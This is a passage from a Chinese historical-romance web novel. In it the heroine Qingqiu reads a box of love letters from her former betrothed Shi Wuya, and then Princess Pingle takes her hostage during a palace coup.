师无涯没头没尾的一番话叫清秋捉摸不定,她虽盼着师无涯死,却也不想是因她而死,他若真要死,就死得远远的。 清秋抱着红木匣子回杏院,廊下光影沉浮,一道清影穿梭其中。 云露见清秋归来,忙放下瞳瞳上前,“姑娘,这是什么?方才我听李妈妈说了,姑娘和王郎君的婚事……” “罢了,不必再提此事。”清秋悄然叹道。 退婚一事,王恒应当早已知晓,但却并未告诉她,甚至一如往常的回信,或许在王恒的心中,她或许也不重要。 “姑娘需要我将这东西放着吗?”云露奇道。 清秋凝神看这雕花红木匣子,匣子上泛着些许泥尘,踌躇半晌,她道:“不用,先前杏院的东西都已烧毁了吗?” 云露眸光一沉,低声道:“姑娘先前的东西都已烧得透透的了,连灰都找不见了,大夫人说过些日子再让姑娘添置。” 清秋垂眸,柔声道:“既已成灰,就不必在惦记了,嫂嫂添置就一一收下罢。” 云露明了,清秋见瞳瞳在,便让云露将瞳瞳放回去。 清秋抱着红木匣子,只身一人进屋。 第65章 万箭穿心 日光洒进房内, 菱花窗附着的白雪消融不少,书案宣纸画卷潦草收起。 雕花红木匣子约莫有十寸大小,四四方方的小木盒, 恍惚间, 清秋觉着这小木匣子与被烧毁的匣子有些相似。 师无涯的一举一动都格外怪异, 行事荒唐,实在难以捉摸。 清秋静坐案前,斜阳金光落在房内, 寒风从后背灌入,清秋一时无措, 她本想打开红木匣子, 只刚伸出手边听院中云露快步至檐下。 “姑娘,大夫人来送头面首饰了。”云露轻声叩门,扬声道。 闻声, 清秋起身收好匣子,顺手将匣子放至书架地下, 事后清秋推门见云露,晴光入室,青梅枯树下, 吕汀英一袭鹅黄衣裙款款而来。 吕汀英面色如常, 只眼底泛着些不易察觉的冷意,她命身后几个女使先将东西交给云露,随后牵着清秋的手快步进屋。 “你与那师无涯是怎么回事?清秋, 你同我说说实话,此事来的突然,唬得母亲心神不安。”吕汀英顺势关上门,拉着清秋至窗前塌边。 师无涯求亲一事太过突然, 原先定下的王家亲事就这样被匆匆揭过,就连方才来取聘礼回去的王夫人都未说些什么。 吕汀英心知清秋与师无涯有旧情,可他二人好似并无再续前缘的意思,怎么这个节骨眼上就要定亲了。 不必想也知是师无涯的主意,师无涯如此做她自然不能干涉,可清秋是她的半个妹妹,她总得过问清楚才好出主意。 清秋手心冰凉,因吕汀英暖和的手才渡了些暖意。 吕汀英暖了暖清秋的手,温声宽慰道:“清秋你与师无涯到底是有过些情意的不必太为此事担心,这是官家圣旨,谁也不能置喙,我也没什么法子,除了能宽慰几句好似也没别的法子了……” “嫂嫂我明白的,我与师无涯早已断了,此事说来话长,嫂嫂,我也不知该如何办了,常也与我也是再不可能了……”清秋眉眼低垂,眼底生出蒙蒙泪意。 到头来她仍旧对不起王恒,清秋心头涩然,她与王恒之间的,终究是她对不起他,青山寺的两年相伴,她没能给王恒一个回应。 师无涯来提亲的前几日,王恒仍与她信件往来,王恒对此事只字不提,他们退婚的事绝非一朝一夕能成,王国公与张贵妃得知又怎会不去说情。 原来师无涯早就做足了准备,难怪他会对她说出那样的话,他果真有这样的本事。 “嫂嫂,常也……来过吗?”清秋颤颤抬眸,眸中含泪。 吕汀英摇头,惋惜道:“你与王恒本是良配,可惜了……清秋往后的日子若不过你只管回家来,谅他也不敢对你如何。” 清秋略微颔首,抿唇道:“人算不如天算,嫂嫂终究是我对不起常也。” 王恒行事稳重,或许是明白已无转圜之地故而并未告诉她,若说了,又能如何,前些日子的信,清秋都一一看过,只问她平日安否,又问付宅如何。 事到如今,王恒也不曾来见过她,清秋心知他是不愿再见她的。 “清秋,别再多想,明日你我要进宫去,待到之后在权衡此事,我未曾见过师无涯不止那人是何品行,向来不会是哪过河拆桥之辈。”吕汀英轻抚清秋的手,一字一言的安慰。 清秋心下怅然,他对王恒的亏欠说不尽的,她终究没能让他如愿,叫他的欢喜落空。 吕汀英同清秋闲聊一阵,便又说起年节的事,吕汀英在元宵回家去,韦南风这些日子在病中,只得将事务暂且交给清秋。 清秋疑道:“嫂嫂放心我?” “日后总归是要你管的,难不成嫁出去就不当主母了?”话音甫落,吕汀英倏然凝眉,怎得就说起了这事。 清秋并未言语,良久才轻笑道:“嫂嫂连这样的话都要和我忌讳么,那日后岂不是许多话都不同我说了?” 吕汀英点着她的眉心,笑骂:“你这滑头,惯会说话。” 二人闲聊一阵,外头女使叩门,轻声道:“大夫人,今儿送来了一批女使,李妈妈问分到哪个院里去,厨房管事的那边又有人闹起来了。” 闻言,吕汀英不敢多留,宅中事务颇多,若留得久了堆积着就多了。 清秋送她出院子,云露正巧回来,“姑娘,大夫人备了件泥金缠枝棠花长褙子,还有套崭新的头面,姑娘这会可要试试?” 云露见清秋未置一语,正要去拿衣裳来,却听清秋道:“不必了,云露我有些东西一并还给常也,你且将东西给观墨,晚些时候你再去国公府里。” 语罢,云露匆匆退下,清秋闭门进屋,书案上还放着那红木匣子。 清秋坐至书案,缓缓打开匣子,红木匣子的铜扣已掉漆,只刚一碰上就沾了铜灰,清秋捻了捻指尖,径直打开匣子。 不大不小的匣子里装着数十封情信,其中笺纸各异,笔迹深浅不一,透过墨痕可推断这几封情信并非同一时间写的。 信封都未署名,只在信封上写了三个字——付清秋。 冬日晴光映照尘封已久的信笺,随着细小的微尘,清秋好似见到了杭州旧时光,十几年了,杭州的一切她还是记得如此清晰。 杭州旧宅,青梅树下,她和师无涯盘坐在树下,春日万物生发,他依着师无涯的肩,听他一遍又一遍的念:“郎骑竹马来,绕床弄青梅……” 那是师无涯待她分明是有情意,可为何到了汴京一切都变了。 清秋从最底下抽出一封信,泛黄折旧的笺纸,微微卷边,笺纸在日光下显得格外陈旧,笺纸上的字迹并不成熟,稚嫩娟秀,但清秋认得出来,那是师无涯的字迹。 或许那是很久之前所写下的,如今再翻出来,只觉恍若隔世。 一封又一封的情信赫然出现,可师无涯喜欢她为何要对她说那些话,做出令她失望的举动,清秋从未在师无涯的眼中见到真挚的爱意。 信笺最早可追溯至昭宁二十六年,那是师无涯写下的第一封情信,他在信里写他的未婚妻是个善良明媚的小姑娘,好像和她有个家是个不错的决定。 每一年春师无涯都会写下一封情信。 ——昭宁六十二年春三月,杭州记。 ——昭宁六十三年春三月,杭州记。 …… ——昭宁七十二年春三月,汴京记。 …… ——昭宁七十四年春三月,渭州记。 …… 信笺笔迹如此熟悉又陌生,仿佛字字泣血,都在诉说着他难以克制的爱意。 清秋攥紧信纸一角,不知不觉间,眼泪已经滴在手背,菱花窗外吹尽凉薄的风,红木匣子里的笺纸翻飞,满屋铺满新旧不一的笺纸。 一时间,清秋不知作何感想,若是在从前她或许会因这些信欢喜得彻夜不眠,只是如今她不会再为之感动,甚至连眼泪都不想流。 可是眼泪不受她的控制,一个劲地往下淌,她毫无办法,心口被一只无形的手抓紧,心脏抽疼,伴随着阵阵心悸。 十四年,她和师无涯相识十四年,其中有十二年,都是她在追着他,她为他几度自戕,形销骨立,如今却告诉她师无涯一直喜欢的都是她。 何其可笑。 清秋眉眼含嗔,面颊泪流成行。 窗外寒风泠冽,雪花洋洋洒洒地飘落,檐下积雪,庭前青梅树开出莹白小花。 白雪挂在枝头,随风纷纷落下。 “师无涯,如今与我说这些又有什么用呢……”清秋支起身子,将信笺收好,过往的事早已飘散,当初她所说的恨师无涯,永生不原谅,都是真的。 一如她当年喜欢他,也是真的。 人生在世,最忌讳的便是回头看,清秋不愿困在过去,就算他对王恒没有真挚的爱意,却也愿意与他结为夫妻,相敬如宾。 她并不是非师无涯不可,至少如今她不在任性。 清秋收好红木匣子,原原本本的放回书架下,十二年来,数不清的日夜,师无涯分明能对她说出“喜欢”二字,可他却从未开口。 一切都太迟了。 她为师无涯所付出的真心实意,早已被消磨,痛苦和爱都那样的真切,清秋无法替青山寺的自己原谅师无涯,亦无法迈过心里的那道坎。 她和师无涯之间,是掰扯不清的,除非他真的死了,所有的爱恨消磨其中,那才算真的扯平。 就算她嫁给师无涯,她也不会原谅他。 她这辈子恨透了师无涯。 是夜。 清秋早早地掐灯熄烛,云露还未问清秋明日如何安排,就见房中灯火骤熄。 房内点着一支安神香,帷幕间缭绕着沁人心脾的清香。 清秋侧躺在榻上,明日是赏雪宴,吕汀英已提前吩咐过她要早些起,故而她想早早睡下,谁知在榻上翻来覆去半个时辰都未能睡着。 那只安神香快要燃尽时清秋才起了睡意,临睡前她脑海中不停闪现着师无涯的情信,一封又一封,清晰明了,甚至连上头的痕迹都记得一清二楚。 白日里哭过一场,清秋眼皮微肿,闭目时,莹润的眼角沁出一滴泪来。 最后一缕安神香窜入帷帐,清秋鼻尖微动,恍惚间睡意来袭,她沉沉睡去。 睡梦之中,清秋梦见眼前一片漆黑,一道血光刺破无边常也,宫殿高墙锁着高门贵妇,城门外血流成河,宫道上的积雪蔓延成血。 于茫茫雪色之间,宫道尽头,有一银甲少年,红缨挽发,长枪在手。 那青年缓缓回头,唇边带笑,眉眼含笑,在城门前被万箭穿心。 第66章 城府深重 这夜的梦好似没有尽头, 清秋想从这梦中醒来,可一时间又无从脱身,整整一夜, 她未能从那一幕中缓过神来。 翌日清晨, 汴京满地清白, 昨夜子时又下起鹅毛大雪,天方明时止住。 清秋睡得不安稳,云露只刚至门前, 就听屋内清秋起身的声音,听有动静, 云露低声问道:“姑娘可是醒了?我进来服侍姑娘。” “进来吧, 我方才醒来,嫂嫂可遣人来了?”清秋哑着声问道。 云露推门而入,手捧木盆, 搭着一方帕子,见清秋已穿好衣裳, 便正好为她梳洗。 “姑娘这会尚早,还不曾来人催,姑娘不急。”云露利索地盘发挽簪, 冬日里没有旁的花, 好在吕汀英送了些象生花来,这才衬的人活色生香。 清秋眼下浮起些许乌青,铜镜映出一张小巧白皙的脸庞, 眉眼清秀灵动,只眉间稍显几分稳重。 云露虽没绿柳心细,可自家姑娘的一点变化她都瞧在眼里。 “姑娘,昨夜可是没睡好, 今日赏雪宴怕是一时半会出不来,姑娘不妨在路上时再歇会。”云露忧道。 此次赏雪宴由宫中大娘娘所设,进宫时辰早,何时出宫尚未定下,若是宫里娘娘欢喜,指不定留到何时才出来。 清秋自是明白这一层,但她睡不下,昨夜的梦萦绕在脑海中始终未能退去。 “不妨事,只这一日罢了。”清秋抿唇轻笑。 梳洗过后,清秋吃了盏茶,约莫一炷香的时辰才见吕汀英遣人来催,这两日吕汀英也忙着,故而晚了会才来。 清秋同吕汀英同乘一辆马车,此次赏雪宴只请了京中权贵闺秀,其中好似有盛家二姑娘,还有好些与她有过一面之缘。 宝马香车驶过御街,清幽冷香自马车内散出。 车轱辘碾出一道道辙印,沿街少有人观望,此时尚早,街边不见游人,只余些许卖货郎铺陈物件,冬日起早之人不在少数。 赏雪宴设在后宫园林,马车停下,候在宫门前的宫女上前引路,吕汀英与清秋同行,只刚下马车便有一华服宫女迎上来。 此宫女与其他接应宫女不慎相同,其衣着华丽,举止轻慢,好似宫中女官。 “娘子可是付家二姑娘?”女官缓步上前,目光打量着清秋和吕汀英。 她的视线停在付家的马车上,华服女官眼底含笑,轻声道:“既是付家的马车,我是受公主之命来请付二姑娘。” 女官又道:“随我来吧。” 吕汀英疑了片刻,从袖中取出几两碎银塞进她手中,含笑道:“这位姑姑可知是何事?” 女官眼底闪过鄙夷的笑,旋即推开吕汀英试图靠近的手。 “公主的吩咐还容你来置喙?”女官勾唇冷笑,作势请清秋随她同行。 清秋见吕汀英面色难堪,只得就此作罢,她原也想试探一二,谁知她软硬不吃,竟明晃晃的回拒实在霸道。 “嫂嫂不必担忧,我晚些时候来寻你。”清秋轻抚吕汀英的手,附耳道。 那位平乐公主她是见过的,先前谢师宴上就已着了她的道,现如今进宫她自然无法推拒。 清秋随女官进宫,女官走在前头,厉声道:“付二姑娘待会见了公主可别忘了该有的礼数,若是像方才那位娘子,只怕是要吃板子的,外头不必宫里头,管你是什么皇亲国戚。” “谢姑姑提点。”清秋颔首应道。 女官话虽如此说,可平乐真要为难她,她又如何躲得过去。 琉璃瓦上覆着霜雪,日光映照着巍巍宫墙,一众女官引着世家贵女,宫道两旁分作两批,清秋与吕汀英走散,通往公主寝宫的宫道空无一人。 寝宫前已有人在候着清秋,那宫女见女官来便迎上来,女官顺势往后退一步,含笑道:“娘子快些进去别让公主等久了。” 宫女为她引路,低声道:“付二姑娘,公主已等候多时。” 宫殿暖香四溢,殿内珠帘玉幕垂吊,山水花鸟屏风后有一道纤细的身影。 眼前宫殿似与先前的不同,清秋刚踏入殿内,身后殿门倏然关闭,沉闷的身影搅得人心口不安,殿中陈设华贵,琉璃金盏,处处奢靡。 屏风后的那人转过身,透过白绢望向清秋,二人之间只隔着一层绢布。 平乐朱唇轻启,唇畔含笑,温声问道:“付二娘子许久不见,近来可好?我为你指的哪桩婚事可还喜欢?” 语罢,平乐挥袖坐下,举手投足间贵气典雅,她一动,殿中檀香更甚。 清秋微微蹙眉,思索着平乐的话,他和师无涯的婚事,竟然是她一手促成,可先前的谢师宴,平乐还因师无涯为难她。 此话究竟是何意,清秋不敢细想,只先行礼,回道:“近来安好,多谢公主记挂。” 平乐扬声大笑,满殿盘旋银铃般的笑声。 清秋心下慌乱却不敢轻举妄动,平乐未曾叫她起身,她只得依照规矩行事。 平乐是为大昭最为尊贵的公主,官家疼爱,母族势力庞大,纵使知道平乐刻意为难,她也不能反抗。 殿外急风乍起,雕花楠木窗透进些许天光,屏风之后的人缓缓起身,正对着清秋,只是她不曾走出来。 “你且在我这儿待会,待到午后我再放你离开。” 平乐轻声说着,旋即坐至圈椅旁,从身旁几案上斟茶,“这世上能让我斟茶倒水的人只有两个,你是第三个。” 平乐自小娇生惯养,官家待她格外珍重,恨不能以金屋铸之,在皇宫里她比她的生母张贵妃更多几分尊荣。 从小至大,平乐只为两个人斟茶倒水,一是她的父亲,二是大娘娘,她的生母都不足以让她端茶倒水。 “付清秋,若非师无涯要求你,你此刻也就在集英殿里了。”平乐捧着一盏茶绕过屏风,眉眼含笑,眼底荡漾起无尽的欢喜。 那种自心底溢出的欢喜得意,令清秋头皮发麻,平乐漫步走近她,白皙柔嫩的指尖略微抬起她的臂弯。 “你别怕我,我不会让你死的,这会还早,你且陪我说说话罢,深宫的日夜这样长,你陪我解解闷可好。” 平乐俯身贴近她,轻柔魅惑的嗓音仿佛是无法回避的咒语。 清秋微怔,并未直视平乐,平乐见她如此,不由得笑道:“你为何怕我?是觉得我之前为难你了?付清秋,过来坐。” 平乐反手叩住她的手腕,带着她往屏风后去,屏风之后是一张龙椅,方才平乐坐着的便是那龙椅,大殿内的光晕映照着熠熠生辉的圈椅。 红木所制的龙椅,以金雕刻,刀工精巧,圈椅扶手边已被磨得光滑。 清秋被唬得连连后退,平乐的手划过她的肌肤,犹如冰凉的蛇鳞。 平乐身为大昭的公主竟要谋反,谋反……? 倘若平乐要谋反,那这主谋是谁,是谁在背后祝她,平乐再是尊贵,也不至于掌握兵权,是……师无涯。 难怪…… 难怪会天降圣旨,原来是师无涯与平乐合谋,谋反一事何其重大,师无涯是在拿命赌功成名就吗。 清秋脊背发凉,手心沁出冷汗,口中喃喃:“师无涯……” 平乐将一盏暖茶塞进清秋手中,勾唇笑道:“就是师无涯换的,若不是你,我当真不知道有什么法子能换到兵权,为了笼络他,我可是费了好些功夫。” 清秋并未接茶,茶水泼在地上,溅起滚烫的茶渍。 “你若乖些,就在这儿等着,日后你还有好日子过,你若不情愿,就一头碰死罢。”平乐嫌恶的松开,眼底生出几丝厌恶,可又因大事将成,她眼底神情极为复杂。 她以大娘娘的名义宴请京中贵女,只为困住她们,现如今多数官眷都已进宫,京中的卫兵又受师无涯指挥,如今只等着天黑,天黑之后,便是二大王杨岚举兵攻入皇城的好时机。 不过平乐却不像让愚蠢的兄长继位,张贵妃和杨岚盼着上位,可她和大娘娘才是一条心,中宫的娘娘太过软弱,只盼着顺其自然。 可王朝的更迭岂是能顺其自然的,自然是要争得,她争得的便是她的。 平乐眉梢轻佻,轻吐一口气,旋即坐至龙椅上,仰目挑衅,“付清秋,你没有别的选择,此事若是败了,师无涯会死,但我不会,我劝你看清些,你喜欢王恒是吧,不论成功与否,付清秋我都能保住你。” 谋反一事,她只是笼络了师无涯,可举兵入宫的是杨岚,背后主事是张贵妃,与她有何干系,她不过是个无权无势的公主,哪能拦得住母亲和哥哥谋反。 清秋心乱如麻,从前就是有天大的事,却也不涉及叛逆谋反,她的生死是小,可她的父母姊妹都会因她丧命。 她别无选择。 清秋颤颤垂眸,平乐的目光仿佛胜券在握,已在向她示威。 此事来的太过突然,清秋只觉天旋地转,心中山河坍塌,她一人的抉择与付家一百多口人挂钩。 “我留下,平乐公主能否放过我的家人,无论如何都请不要动我的家人。”清秋定了定神,手心攥紧衣袖。 清秋从平乐的眼中见到自得的神情便知她是答应了。 “付清秋,识时务者为俊杰,师无涯这样选了,你也是。”平乐眼尾上扬,眼中荡开浓烈的笑意,她不自觉地抚摸着龙椅的扶手。 以赏雪宴为由将京城中的世家贵女都软禁在宫中,而她被引至此处,就是想要她做师无涯的定心丸。 只要她在,师无涯就不会生出悔意。 平乐这一步走得极为精妙,清秋身心俱寒,只觉眼前之人城府深重。 第67章 主宰一切生死 金碧辉煌的宫殿, 鎏金香炉之中溢出袅袅白烟,镂空楠木窗照进日光。 暖意十足的大殿却让清秋生出涔涔冷汗,平乐微微抬起指尖, 指了指近窗的书案。 平乐不疾不徐地开口:“那是官家在我八岁时送我的金丝楠木的书案, 这座宫殿也是官家特意为我建的, 这里头随意挑出去一件都是别人羡慕不来的,只可惜到底是身外之物,我瞧不上。” 金玉之类的外物, 她数不尽,那又有什么意思, 生杀之权才叫人畅快。 七岁时, 中宫娘娘身边的尚宫冲撞了她,那时的娘娘骄横跋扈,家中权势滔天, 平乐自是不敢说什么,那尚宫见她有气无处使, 便嘲她是个女子,又因张氏不甚得宠,宫中人待她很是寻常。 尚宫逞了口舌之快, 却被平乐狠狠地记一下, 她深知圣重才是一切,纵使张贵妃不得宠,她也要为自己争一争, 何况她有这个本事。 未过多久,平乐候在宫道上,远远地瞧见轿辇,想也不想地冲到林都知跟前, 放软声音。 “爹爹好几日没来了,娘娘说爹爹忙,我想爹爹累着了,我做了好些吃食,不晓得爹爹喜不喜欢。”她提着半大的食盒,搓了搓手。 深秋里有几分寒凉,她穿得单薄,林都知眉头拧起,见她模样乖巧,可怜兮兮的,一时心软,朝轿辇内道:“官家,是小公主来了。” 话落,里头静了好半晌,平乐心下胆颤,毕竟她不知道这个爹爹对她是否有几分印象。 宫中公主皇子众多,她只是其中一位,况张氏不得宠,她心里没底,深深吸了口气,正欲开口离开。 “是平乐么?”官家面目慈祥,并未见威严,只淡声说话。 他探出一只手,悬挂在幕帘边,一手示意她过来。 “爹爹。”平乐没有犹豫,三步并作两步跨至轿辇前,替着食盒的手触到他,官家眉头微蹙,搂过平乐,搓了搓她的手。 “天冷了,怎么穿得这么少。”他眉眼含威,只一两句话变显出庄重。 平乐明白这是试探,扬起笑道:“我今日专程等着爹爹,怕来晚了见不到爹爹,我的桂花糕就没人吃了。” 自那之后,平乐常出入福宁殿,官家准许她来,无人敢拦,平乐八岁时,处死了一个尚宫,是官家默许她掌握人的生死。 只是平乐使了些计,那尚宫犯了无足轻重的小错,可当年的事平乐记得清楚,便借着这个事处死了她。 没有什么比这更让平乐欢喜,只她一句话,就能叫那尚宫死。 世上不如意的事,不顺心的人太多,平乐都想看着他们在脚下匍匐,对着她求饶,而她只需点点头,便可赠他们一个全尸。 清秋听她语调轻快,说及此事毫无波澜,她甚至从平乐眼中见到几分得意,那是从她心底漫出的自得。 那尚宫固然有错,却不至死。 “付清秋,你的生死不由我说了算。”平乐缓缓起身,莲步轻移,“你瞧外边儿,除了这座宫殿,其余的世家贵女都被我哥哥和母亲关在大殿的另一边,待到酉时你就能看见火光,从福宁殿一路烧至后宫。” “哗——” 平乐倏然捏紧清秋的肩,痴痴笑出声,眼尾上扬,一张艳丽至极的容颜显现在日光中。 清秋后背一凉,凝眉道:“公主此举就是为了得到权势?古来女子称帝,不过一二,公主这是要推翻朝政?” 平乐贪恋权势,为争权要让整个汴京的世家贵女豁出性命,倘若此事不成,被扣在宫中的贵女们也出不去,又或是被人误杀,若是成了,难保不会有人动坏心思。 一旦宫变,谁管你是世家贵女,一刀挥下去,只叫你去见阎王。 “付清秋,我什么都没有做,我只不过邀了京中贵女赏雪,不过是问大娘娘留了你们的画像,我能做些什么?不过是恰巧遇着了付姑娘躲在了这儿。” 平乐盈盈一笑,绕着屏风翩然起舞,毫不在意是否有人。 空荡华丽的宫殿充斥着令人胆寒的寂静,犹如山雨欲来风满楼之前的死寂,平乐不在意清秋如何想,她如今心情畅快,大权即将在握,她将会有无上的权力的。 ——主宰一切生死。 清秋怔愣片刻,酉时来临前,她问平乐:“倘若失败,二大王和张贵妃都活不下去,就连你也会因此事受到牵连,你当真毫不在意?张氏满门荣耀,都会因此事不复存在。” 平乐眸光一凝,眺望窗边淡去的日光,雪色清浅,酉时快到了。 “我的母亲和哥哥?他们想要权势,张氏就不想要了吗?怪我么?付清秋,你为何不说他们的野心会害死我呢?” 她想要权利,难不成张氏就不想要了吗。 平乐轻笑一声,回首笑道:“想要就是会付出代价不是么。” 清秋凝眉,驳道:“那你不后悔,这么多人丧命?王朝更迭没有不流血的,你手上又无兵权,如何压得住。” “我自然没有。”平乐耸耸肩,慢步往殿门前去。 平乐身着绯红大袖,庄重美艳,她推开殿门,晴光入室,落在她纤细肩头,殿前风雪已停,见平乐开门,候在殿外的宫女迎上前来。 清秋站在屏风后,打量着殿外的情形,平乐说得不错,此处僻静,若是宫变定然不至于威胁到这儿。 二大王手中有兵权,又与张贵妃合谋囚禁官眷,这一切好似都与平乐毫无干系。 如若东窗事发,平乐顶多只是被软禁,又或是贬出宫去,总之性命无虞。 她不能坐以待毙,更何况要以她的命来威胁师无涯,岂不是又让她欠师无涯一回。 思及此,清秋心中盘算如何才能走出一条生路,眼下她和平乐困于偏殿,她是走不出的,唯有平乐主动带她出去。 不多时,殿外有一宫女快步奔至殿门前,平乐并未关门,反而走至殿前,垂眸看那宫女。 “慌什么?”平乐心生不悦。 宫女见殿中有人,便附耳上前,低声道:“师指挥使进宫了,二大王正在集英殿前和师指挥使对峙,现下张贵妃正带人去集英殿,官眷被押着紧随其后。” 闻言,平乐眸子一转,余光瞥向清秋,只这片刻里,清秋觉察到变故,只是究竟是何变故,清秋却不晓得。 古往今来,想要谋权篡位之人不在少数,逼宫是最为危险的,若没有十成十的把握,恐怖只有诛九族的命了。 平乐利索回身,箭步上前,抽出清秋身后的长剑,剑光凌冽倒映出平乐眼中锋芒。 “跟我走,否则——” 锋利的剑尖刺破白皙的脖颈,渗出鲜红的血珠。 清秋唇畔含笑,这是她逃离这座宫殿,就算平乐不说,她也必须要同平乐走,清秋颔首,一步步跟着平乐退出宫殿。 申时的日光渐淡,平乐持剑手势平稳,清秋刚踏出殿门便被平乐的人架起来,押着她双手往殿后退。 “师无涯,你既然敢耍我,就别怪我无情了。”平乐看向付清秋,收起长剑,红衣飘飞随后翻身上马。 平乐手拉缰绳,居高临下地看清秋,冷声道:“你在师无涯心里也不过如此嘛,绑好了,后山的断湖就是你的归处。” 酉时已至,不远处的宫道燃起烈火,兵器厮杀的声音越过宫墙传至偏殿。 平乐一手拉着缰绳,一手牵着缚住清秋双手的麻绳。 张贵妃宫中所扣留的官眷只一小部分,平乐派人接走清秋就是防止师无涯叛变,只要人在她手里,她便有和师无涯谈条件的权利。 师无涯出尔反尔,在酉时进宫,不管皇城如何厮杀,暂且寻不到她这地方。 “派人去告诉师无涯,若想救付清秋,就只身一人来见我。”平乐驾马扬长而去,清秋被她扣在马背上,一路颠簸,清秋记不下来时的路。 —— 集英殿前师无涯领京中士兵堵在门口,杨岚一行人退守殿内,随师无涯一道而来的还有付高越和何彬,杨淮蔺则带人去了后宫。 师无涯手持长枪,扬声道:“二大王,如今城内外皆是金吾卫,官家在福宁殿歇息,还不服罪吗?” 不等杨岚回话,一众士兵中窜出个小宫女,宫女不紧不慢地靠近,最终停在师无涯的赤马旁。 “师指挥使,公主遣我传话,若想要付二姑娘活命,就请你只身一人去见她,莫要惊动了旁人。”宫女悄声说着。 闻言,师无涯脸色煞白,恍惚间忆起什么。 他原以为清秋会和其他贵女关在一处,却没曾想平乐会单独带走她,从皇城一路杀进集英殿,师无涯的银甲见血,眉眼间稍显疲态,可听见宫女的一番话,却不由得慌乱。 须臾,师无涯策马狂奔,付高越余光瞥见一银辉身影闪过,何彬还未来得及阻拦就见人消失在宫道尽头。 青砖琉璃瓦,长长的宫道上洒满温热的鲜血,阒寂的宫道回荡着马蹄声。 清秋因他几度涉险,他还未能当面与她分说当年之事,还有许多话,他都还能对她说清,凌冽的长风呼啸而过,犹如利刃划破他的脸颊。 师无涯脑海闪过许多细碎的片段,从杭州至汴京,从七岁到如今,喜怒哀怨凝在心头,心口闷涩不堪。 暮色四合,霞光落在覆雪的琉璃瓦上,空无一人的宫道映出长影,一晃而过。 平乐在宫中设有偏殿,此事是平乐无意中透露,师无涯进宫前就已命人查探平乐的动向,如今她不在寝宫只能是去了偏殿。 第68章 葬于天地湖水中 两年前保神观, 师无涯心有成算,笃定那行黑衣人不会对她下手,将她当作保命符, 可那起亡命之徒岂会如他所想。 人一旦被逼上绝路, 有什么是做不出来的。 师无涯攥紧长枪, 胯部夹紧赤马,他心中生悔,恨当年太过自傲, 竟用清秋的命去赌。 —— 偏殿后是一处荒山,冬日里轻薄的雪花绽放在枯枝上, 平乐见树林密集, 索性翻身下马,牵着清秋手上的麻绳。 荒山难行,枯枝败叶, 雪融后山路泥泞。 “付清秋,倘若师无涯不来, 我可以赐你一个全尸,断湖结冰了,你就从哪儿跳下去。”平乐勾唇冷笑, 眼底一片森寒。 清秋指尖冻得通红, 麻绳一圈一圈的锢着她。 “师无涯会不会来,你都不会放过我,公主何须同我绕弯子。”清秋淡声说着。 随平乐一道离开偏殿的人并不多, 除她之外余下的是两个宫女,她二人分散在她身后,脚步稳健,目光警惕好似是习武之人。 “是啊, 你和师无涯一样可恨,给了你们荣华富贵的机会,却要活生生的甩开,师无涯蠢,你和他一样蠢!”平乐深吸口气,她所作的一切都功亏一篑。 清秋冷笑道:“大智若愚,公主不如做个愚人,何必折腾自己。” 平乐觑她一眼,不再理她,她已想好该如何杀了师无涯和清秋,如今就只等着清秋,让他们二人做一对亡命鸳鸯。 清秋挣了挣手上麻绳,平乐牵着的一端随之波动。 “别白费力气了,你以为你跑得掉吗,杀你本不需要这般费事,当初就该以付家为筹码威胁师无涯。”平乐恨恨道。 平乐嫌恶地松开麻绳,任她一个人走,身后的两个宫女紧跟着她。 清秋打量四周,向远处眺望,依稀可见一方宅院,宅院前似有一条蜿蜒的小路,方才她听平乐所说的断湖,恐怕就是在此处了。 “把她压到断湖边,去叫乌尔出来,待会有好戏看,最好将她架起来,让他们设下埋伏,估摸着他也快来了。”平乐径直回了宅院。 清秋身后两个女官将她押至断湖边,断湖前只一条小路,蜿蜒的山路望不到尽头,湖边风声朔狂,吹动衣诀长发。 其中一女官随着平乐进了那简朴的宅院,只留一个宫女看着她。 宫女手中提着一柄剑,是先前平乐交到她手上的长剑,清秋不敢轻举妄动,她如今双手被缚,定然不敌持剑宫女。 “你跟着公主多久了?”清秋定了定神,从容不迫的问道。 宫女冷声道:“与你何干。” 语罢,宫女不再理会清秋,不多时,宅院里出来位黑衣男子,他踏着薄雪缓步走来,手上拿着弓,背上背着箭支。 “是她?”那人走近宫女,宫女微微垂首,轻咳一声。 “公主命我看着她,乌大人这会就来了,外面冷。”宫女试图上前,乌尔往后退了一步,视线转向断湖边的翩然的身影。 清秋觉察到他的视线,抬眸与他对视,此时离得近了,清秋发觉此人生得俊逸非凡,可谓是天上有地下无。 挺翘的鼻梁,一双含情眼,胸膛前若有似无的肌肉。 他应当是平乐的面首。 乌尔从她打量的目光中意识到了什么,眼底闪过一丝冷意,“你就是付家二姑娘?还以为是什么貌美天仙,瞧着也不过如此。” 令一个大将军折腰的美人,看起来同旁人也没什么区别。 乌尔挑眉冷哼,心道不及平乐的万分之一。 清秋往断湖后退了两步,断湖映着日光,远远瞧去还有不起眼的金光流动,按平乐所说,断湖已结冰,可眼下看来并非全数结冰。 跳入断湖她还有生的可能,不论师无涯来不来,她都不能将生的希望寄托在他的身上。 宫女见乌尔贬低清秋,便要开口附和,还未等她开口,便听身后隐约有马蹄声传来,踏断枯枝,踩碎细雪。 “闪开,你就是这样为公主做事的?”乌尔微眯着眼,迅速提起箭支,指向双手被缚的清秋。 宫女被一把推开,咬着牙攥紧长剑,睨了眼乌尔,心中愤愤道都是公主养的狗,谁又比谁高贵几分。 清秋秉着一口气,沿着断崖小跑,目光游移在湖水中。 断湖部分结冰,她必须挑有湖水空隙的地方。 乌尔见清秋一个劲地跑,谅她也不跑出荒山,故而第一箭,他只射在了她的脚边。 利箭落在脚边,清秋心头大骇,以乌尔的身手,要她的命不过是一眨眼的事,清秋顿住脚,余光朝断湖瞥去。 “付娘子怎么不跑了?”乌尔漫步上前,收起长弓。 清秋眼睫低垂,蓦然一笑,复又眉目可怜地道:“我既然跑不出去,自然不会跑了,还求大人饶我一命。” 乌尔冷笑,暗道清秋毫无气节,只一味的装可怜,博同情。 他道:“看来指挥使识人眼光差了些。” 清秋不动神色地往后退了两步,湖光荡漾的位置离她还有几步,若想争这几步的距离,就得先让乌尔放松警惕。 寒风乍起,白雪自风中坠落,伴随着阵阵马蹄声。 乌尔半眯着眼,抬箭指向清秋,不过片刻,调转箭头指向荒山斜坡,斜坡小径赫然显现出一道银白身影,只刚一出现,乌尔手中箭风划过长风,破开雪花,刺向马背上的银甲少年。 恰此时,日月交辉,月上枝头,一杆银枪映着月光,顺势挑开利箭。 清秋愕然抬眸,漆黑的眼瞳显出师无涯逐步靠近的身影。 